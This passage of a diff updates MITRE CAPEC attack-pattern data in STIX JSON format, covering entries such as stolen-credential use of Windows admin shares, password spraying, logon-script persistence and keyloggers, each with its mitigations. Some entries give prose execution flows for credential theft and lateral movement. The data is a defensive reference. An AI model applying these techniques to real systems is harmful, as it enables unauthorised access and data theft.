"marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--5d4dbec9-a56a-4a81-9a64-a9d70c3cdcac", + "source_ref": "course-of-action--8e39cc3a-64c4-488e-84a3-e2613bdb1254", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--886a7175-e28a-4e6d-bd22-3b1497e31dc7" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-560-5", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "Do not allow accounts to be a local administrator on more than one system.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--9d97f821-8b04-46bf-a725-33db09a739da" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--c44dcaf3-84a3-4fc1-a9c4-3c1c06dbeac1", + "source_ref": "course-of-action--9d97f821-8b04-46bf-a725-33db09a739da", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--886a7175-e28a-4e6d-bd22-3b1497e31dc7" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--44f48a42-3c74-4fbb-885b-d16e52d1e21f", + "source_ref": "course-of-action--36387909-c46a-4d0f-8954-bbc4c954c9a9", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--886a7175-e28a-4e6d-bd22-3b1497e31dc7" + }, + { + "id": "course-of-action--ab6c4df3-7bf9-4fdd-8c2a-9055c0aea441", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-560-7", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "Monitor system and domain logs for abnormal credential access.", + "x_capec_version": "3.3", + "type": "course-of-action" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--6871bf92-f743-4558-b1fd-ca894de9bb78", + "source_ref": "course-of-action--ab6c4df3-7bf9-4fdd-8c2a-9055c0aea441", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--886a7175-e28a-4e6d-bd22-3b1497e31dc7" + }, + { + "id": "attack-pattern--f2654def-b86d-4ddb-888f-de6b50a103a2", "name": "Windows Admin Shares with Stolen Credentials", - "description": "Windows systems have hidden network shares that are only accessible to administrators and allow files to be written to the local computer. Example network shares include: C$, ADMIN$ and IPC$. Adversaries may use valid administrator credentials to remotely access a network share to transfer files and execute code. It is possible for adversaries to use NTLM hashes to access administrator shares on systems with certain configuration and patch levels.", + "description": "An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain. Windows systems within the Windows NT family contain hidden network shares that are only accessible to system administrators. These shares allow administrators to remotely access all disk volumes on a network-connected system and further allow for files to be copied, written, and executed, along with other administrative actions. Example network shares include: C$, ADMIN$ and IPC$. If an adversary is able to obtain legitimate Windows credentials, the hidden shares can be accessed remotely, via server message block (SMB) or the Net utility, to transfer files and execute code. It is also possible for adversaries to utilize NTLM hashes to access administrator shares on systems with certain configuration and patch levels.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -33323,40 +36100,145 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/522.html", "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/294.html", + "external_id": "CWE-294" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/263.html", + "external_id": "CWE-263" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/262.html", + "external_id": "CWE-262" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/521.html", + "external_id": "CWE-521" + }, + { + "source_name": "ATTACK", + "description": "Remote Services:SMB/Windows Admin Shares", + "url": "https://attack.mitre.org/wiki/Technique/T1021/002", + "external_id": "T1021.002" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Overview of problems that may occur when administrative shares are missing, 2017--03---13, Microsoft Corporation", + "url": "https://support.microsoft.com/en-us/help/842715/overview-of-problems-that-may-occur-when-administrative-shares-are-mis", + "external_id": "REF-577" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Rob Smallridge, HAPT15 is alive and strong: An analysis of RoyalCli and RoyalDNS, 2018--03---10, NCC Group", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "external_id": "REF-578" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Assaf Dahan, Operation Cobalt Kitty: Cybereason Labs Analysis, 2017, CyberReason", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", + "external_id": "REF-579" } ], + "x_capec_prerequisites": [ + "The system/application is connected to the Windows domain.", + "The target administrative share allows remote use of local admin credentials to log into domain systems.", + "The adversary possesses a list of known Windows administrator credentials that exist on the target domain." + ], + "x_capec_skills_required": { + "Low": "Once an adversary obtains a known Windows credential, leveraging it is trivial." + }, + "x_capec_resources_required": [ + "A list of known Windows administrator credentials for the targeted domain." + ], + "x_capec_consequences": { + "Confidentiality": [ + "Gain Privileges", + "Read Data" + ], + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ], + "Authorization": [ + "Read Data" + ], + "Integrity": [ + "Modify Data" + ] + }, "x_capec_abstraction": "Detailed", + "x_capec_example_instances": [ + "APT32 has leveraged Windows' built-in Net utility to use Windows Administrative Shares to copy and execute remote malware. [REF-579]", + "In May 2017, APT15 laterally moved within a Windows domain via Windows Administrative Shares to copy files to and from compromised host systems. This further allowed for the remote execution of malware. [REF-578]" + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Acquire known Windows administrator credentials: The adversary must obtain known Windows administrator credentials in order to access the administrative network shares.

    2. Techniques
    An adversary purchases breached Windows administrator credentials from the dark web.
    An adversary leverages a key logger or phishing attack to steal administrator credentials as they are provided.
    An adversary conducts a sniffing attack to steal Windows administrator credentials as they are transmitted.
    An adversary gains access to a Windows domain system/files and exfiltrates Windows administrator password hashes.
    An adversary examines outward-facing configuration and properties files to discover hardcoded Windows administrator credentials.

Experiment

  1. Attempt domain authentication: Try each Windows administrator credential against the hidden network shares until the target grants access.

    2. Techniques
    Manually or automatically enter each administrator credential through the target's interface.

Exploit

  1. Malware Execution: An adversary can remotely execute malware within the administrative network shares to infect other systems within the domain.

  2. Data Exfiltration: The adversary can remotely obtain sensitive data contained within the administrative network shares.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--f2654def-b86d-4ddb-888f-de6b50a103a2" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", - "name": "coa-561-0", - "object_marking_refs": [ - "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" - ], - "description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow accounts to be a local administrator on more than one system.", - "type": "course-of-action", - "id": "course-of-action--d94b0742-8cd7-4df4-bee2-902d926b737e" - }, - { - "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", - "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0f295ca2-b159-4a2a-808d-0340f09e2fb4", - "source_ref": "course-of-action--d94b0742-8cd7-4df4-bee2-902d926b737e", + "id": "relationship--eecc445b-fbb2-4188-870d-159485c94ef0", + "source_ref": "course-of-action--7c813ade-2f68-46ad-b0ff-b3aa1d6f16d0", "relationship_type": "mitigates", "target_ref": "attack-pattern--f2654def-b86d-4ddb-888f-de6b50a103a2" }, { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--11eaef47-9b8a-4bb8-bf2f-63eb95d12037", + "source_ref": "course-of-action--8e39cc3a-64c4-488e-84a3-e2613bdb1254", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f2654def-b86d-4ddb-888f-de6b50a103a2" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--f482b089-26b2-468c-8161-bd9eea7cfe4b", + "source_ref": "course-of-action--9d97f821-8b04-46bf-a725-33db09a739da", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f2654def-b86d-4ddb-888f-de6b50a103a2" + }, + { + "id": "attack-pattern--9d076056-3719-4afc-94f4-5d16aaee50a3", "name": "Modify Shared File", "description": "An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -33375,15 +36257,21 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Taint shared content", + "url": "https://attack.mitre.org/wiki/Technique/T1080", + "external_id": "T1080" } ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--9d076056-3719-4afc-94f4-5d16aaee50a3" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--7c8c48ad-29e9-48a7-803e-dd6994eed5fd", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -33392,23 +36280,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Disallow shared content. Protect shared folders by minimizing users that have write access. Use utilities that mitigate exploitation like the Microsoft Enhanced Mitigation Experience Toolkit (EMET) to prevent exploits from being run.", - "type": "course-of-action", - "id": "course-of-action--7c8c48ad-29e9-48a7-803e-dd6994eed5fd" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--48a3e4bb-b139-4cfd-ad9b-bcafd4087f57", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--48a3e4bb-b139-4cfd-ad9b-bcafd4087f57", "source_ref": "course-of-action--7c8c48ad-29e9-48a7-803e-dd6994eed5fd", "relationship_type": "mitigates", "target_ref": "attack-pattern--9d076056-3719-4afc-94f4-5d16aaee50a3" }, { + "id": "attack-pattern--80604cc1-88b5-4e55-846e-01cfc67966b2", "name": "Add Malicious File to Shared Webroot", "description": "An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -33416,7 +36306,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -33431,36 +36321,38 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--80604cc1-88b5-4e55-846e-01cfc67966b2" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--fa8958ed-8fb1-4412-9a43-882a8093afba", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-563-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure proper permissions on directories that are accessible through a web server. Disallow remote access to the web root. Disable execution on directories within the web root. Ensure that permissions of the web server process are only what is required by not using built-in accounts and instead create specific accounts to limit unnecessary access or permissions overlap across multiple systems.", - "type": "course-of-action", - "id": "course-of-action--fa8958ed-8fb1-4412-9a43-882a8093afba" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--fac83968-b4fb-49f5-b904-487038f291fe", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fac83968-b4fb-49f5-b904-487038f291fe", "source_ref": "course-of-action--fa8958ed-8fb1-4412-9a43-882a8093afba", "relationship_type": "mitigates", "target_ref": "attack-pattern--80604cc1-88b5-4e55-846e-01cfc67966b2" }, { + "id": "attack-pattern--b63b2869-11e6-4849-8ddf-ae2557bf554b", "name": "Run Software at Logon", "description": "Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -33468,7 +36360,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -33479,40 +36371,234 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Boot or Logon Initialization Scripts:Logon Script (Windows)", + "url": "https://attack.mitre.org/wiki/Technique/T1037/001", + "external_id": "T1037.001" + }, + { + "source_name": "ATTACK", + "description": "Boot or Logon Initialization Scripts:Logon Script (Mac)", + "url": "https://attack.mitre.org/wiki/Technique/T1037/002", + "external_id": "T1037.002" + }, + { + "source_name": "ATTACK", + "description": "Boot or Logon Initialization Scripts:Network Logon Script", + "url": "https://attack.mitre.org/wiki/Technique/T1037/003", + "external_id": "T1037.003" + }, + { + "source_name": "ATTACK", + "description": "Create or Modify System Process:Launch Agent", + "url": "https://attack.mitre.org/wiki/Technique/T1543/001", + "external_id": "T1543.001" + }, + { + "source_name": "ATTACK", + "description": "Boot or Logon Autostart Execution:Plist Modification", + "url": "https://attack.mitre.org/wiki/Technique/T1547/011", + "external_id": "T1547.011" } ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--b63b2869-11e6-4849-8ddf-ae2557bf554b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--ac6fb253-4318-4476-bd92-98025e9f081b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-564-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Restrict write access to logon scripts to necessary administrators.", - "type": "course-of-action", - "id": "course-of-action--ac6fb253-4318-4476-bd92-98025e9f081b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--b0065118-5899-4093-ad4e-1d2e77d85ff5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b0065118-5899-4093-ad4e-1d2e77d85ff5", "source_ref": "course-of-action--ac6fb253-4318-4476-bd92-98025e9f081b", "relationship_type": "mitigates", "target_ref": "attack-pattern--b63b2869-11e6-4849-8ddf-ae2557bf554b" }, { + "name": "Password Spraying", + "description": "\n In a Password Spraying attack, an adversary tries a small list (e.g. 3-5) of common or expected passwords, often matching the target's complexity policy, against a known list of user accounts to gain valid credentials. The adversary tries a particular password for each user account, before moving onto the next password in the list. This approach assists the adversary in remaining undetected by avoiding rapid or frequent account lockouts. The adversary may then reattempt the process with additional passwords, once enough time has passed to prevent inducing a lockout. Password Spraying attacks often target management services over commonly used ports such as SSH, FTP, Telnet, LDAP, Kerberos, MySQL, and more. Additional targets include Single Sign-On (SSO) or cloud-based applications/services that utilize federated authentication protocols, and externally facing applications. Successful execution of Password Spraying attacks usually lead to lateral movement within the target, which allows the adversary to impersonate the victim or execute any action that the victim is authorized to perform. If the password chosen by the user is commonly used or easily guessed, this attack will be successful (in the absence of other mitigations). This is a specific instance of the password brute forcing attack pattern.\n Password Spraying Attacks are similar to Dictionary-based Password Attacks (CAPEC-16) in that they both leverage precompiled lists (i.e. dictionaries) of username/password combinations to try against a system/application. The primary difference is that Password Spraying Attacks leverage a known list of user accounts and only try one password for each account before moving onto the next password. In contrast, Dictionary-based Password Attacks leverage unknown username/password combinations and are often executed offline against files containing hashed credentials, where inducing an account lockout is not a concern.\n Password Spraying Attacks are also similar to Credential Stuffing attacks (CAPEC-600), since both utilize known user accounts and often attack the same targets. Credential Stuffing attacks, however, leverage known username/password combinations, whereas Password Spraying attacks have no insight into known username/password pairs. If a Password Spraying attack succeeds, it may additionally lead to Credential Stuffing attacks on different targets.\n ", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "external_references": [ + { + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/565.html", + "external_id": "CAPEC-565" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/521.html", + "external_id": "CWE-521" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/262.html", + "external_id": "CWE-262" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/263.html", + "external_id": "CWE-263" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/654.html", + "external_id": "CWE-654" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/307.html", + "external_id": "CWE-307" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "ATTACK", + "description": "Brute Force:Password Spraying", + "url": "https://attack.mitre.org/wiki/Technique/T1110/003", + "external_id": "T1110.003" + }, + { + "source_name": "reference_from_CAPEC", + "description": "ACSC Releases Advisory on Password Spraying Attacks, 2019--08---08, Cybersecurity and Infrastructure Security Agency (CISA)", + "url": "https://www.us-cert.gov/ncas/current-activity/2019/08/08/acsc-releases-advisory-password-spraying-attacks", + "external_id": "REF-565" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Andy Greenberg, A notorious Iranian hacking crew is targeting industrial control systems, 2019--11---23, Ars Technica", + "url": "https://arstechnica.com/information-technology/2019/11/a-notorious-iranian-hacking-crew-is-targeting-industrial-control-systems/", + "external_id": "REF-566" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Alert (TA18-086A): Brute Force Attacks Conducted by Cyber Actors, 2018--03---27, Cybersecurity and Infrastructure Security Agency (CISA)", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A", + "external_id": "REF-567" + } + ], + "x_capec_likelihood_of_attack": "High", + "x_capec_typical_severity": "High", + "x_capec_prerequisites": [ + "The system/application uses one factor password based authentication.", + "The system/application does not have a sound password policy that is being enforced.", + "The system/application does not implement an effective password throttling mechanism.", + "The adversary possesses a list of known user accounts on the target system/application." + ], + "x_capec_skills_required": { + "Low": "A Password Spraying attack is very straightforward. A variety of password cracking tools are widely available." + }, + "x_capec_resources_required": [ + "A machine with sufficient resources for the job (e.g. CPU, RAM, HD).", + "Applicable password lists.", + "A password cracking tool or a custom script that leverages the password list to launch the attack." + ], + "x_capec_consequences": { + "Confidentiality": [ + "Gain Privileges", + "Read Data" + ], + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ], + "Authorization": [ + "Read Data" + ], + "Integrity": [ + "Modify Data" + ] + }, + "x_capec_abstraction": "Detailed", + "x_capec_example_instances": [ + "A user selects the phrase \"Password123\" as their password, believing that it would be very difficult to guess. Password Spraying, leveraging a list of commonly used passwords, is used to crack this password and gain access to the account.", + "The Iranian hacker group APT33 (AKA Holmium, Refined Kitten, or Elfin) carried out numerous Password Spraying attacks in 2019. On average, APT33 targeted 2,000 organizations per month, with upwards of 10 million authentication attempts each day. The majority of these attacks targeted manufacturers, suppliers, or maintainers of industrial control system equipment." + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine target's password policy: Determine the password policies of the target system/application.

    2. Techniques
    Determine minimum and maximum allowed password lengths.
    Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary).
    Determine account lockout policy (a strict account lockout policy will prevent brute force attacks).

  2. Select passwords: Pick the passwords to be used in the attack (e.g. commonly used passwords, passwords tailored to individual users, etc.)

    3. Techniques
    Select passwords based on common use or a particular user's additional details.
    Select passwords based on the target's password complexity policies.

Exploit

  1. Brute force password: Given the finite space of possible passwords dictated by information determined in the previous steps, try each password for all known user accounts until the target grants access.

    2. Techniques
    Manually or automatically enter the first password for each known user account through the target's interface. In most systems, start with the shortest and simplest possible passwords, because most users tend to select such passwords if allowed to do so.
    Iterate through the remaining passwords for each known user account.
", + "x_capec_status": "Draft", + "x_capec_version": "3.3", + "type": "attack-pattern", + "id": "attack-pattern--f724f0f3-20e6-450c-be4a-f373ea08834d" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--883bf7e0-d6d7-4599-a405-4cf773ba06f2", + "source_ref": "course-of-action--93ed0e66-1693-44b2-b416-bee8db1ad4c2", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f724f0f3-20e6-450c-be4a-f373ea08834d" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--63dc5428-39f8-4790-9341-12ee76d16b3c", + "source_ref": "course-of-action--36387909-c46a-4d0f-8954-bbc4c954c9a9", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f724f0f3-20e6-450c-be4a-f373ea08834d" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--39894d0f-45fc-4d1e-ac83-029554eb758f", + "source_ref": "course-of-action--b8f274c3-95ed-4968-afdc-6a8a87a6fb19", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f724f0f3-20e6-450c-be4a-f373ea08834d" + }, + { + "id": "attack-pattern--f1b2ac67-1040-4927-bad6-17eab5d8e17c", "name": "DEPRECATED: Dump Password Hashes", "description": "This CAPEC has been deprecated because of is not directly related to a weakness, social engineering, supply chains, or a physical-based attack.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -33530,19 +36616,19 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--f1b2ac67-1040-4927-bad6-17eab5d8e17c" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--e8f4c3d0-0aaf-4a96-b31c-9e6e8b5e15da", "name": "DEPRECATED: Obtain Data via Utilities", - "description": "This CAPEC has been deprecated because of is not directly related to a weakness, social engineering, supply chains, or a physical-based attack.", + "description": "This CAPEC has been deprecated because it is not directly related to a weakness, social engineering, supply chains, or a physical-based attack.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -33552,11 +36638,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--e8f4c3d0-0aaf-4a96-b31c-9e6e8b5e15da" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--fab7fb48-4503-4e03-980f-9bc827be929f", "name": "Capture Credentials via Keylogger", "description": "An adversary deploys a keylogger in an effort to obtain credentials directly from a system's user. After capturing all the keystrokes made by a user, the adversary can analyze the data and determine which string are likely to be passwords or other credential related information.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -33564,12 +36650,18 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/568.html", "external_id": "CAPEC-568" + }, + { + "source_name": "ATTACK", + "description": "Input Capture:Keylogging", + "url": "https://attack.mitre.org/wiki/Technique/T1056/001", + "external_id": "T1056.001" } ], "x_capec_typical_severity": "High", @@ -33578,36 +36670,38 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--fab7fb48-4503-4e03-980f-9bc827be929f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--ac31ad94-cdd7-4233-9c7b-3341818f95c1", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": 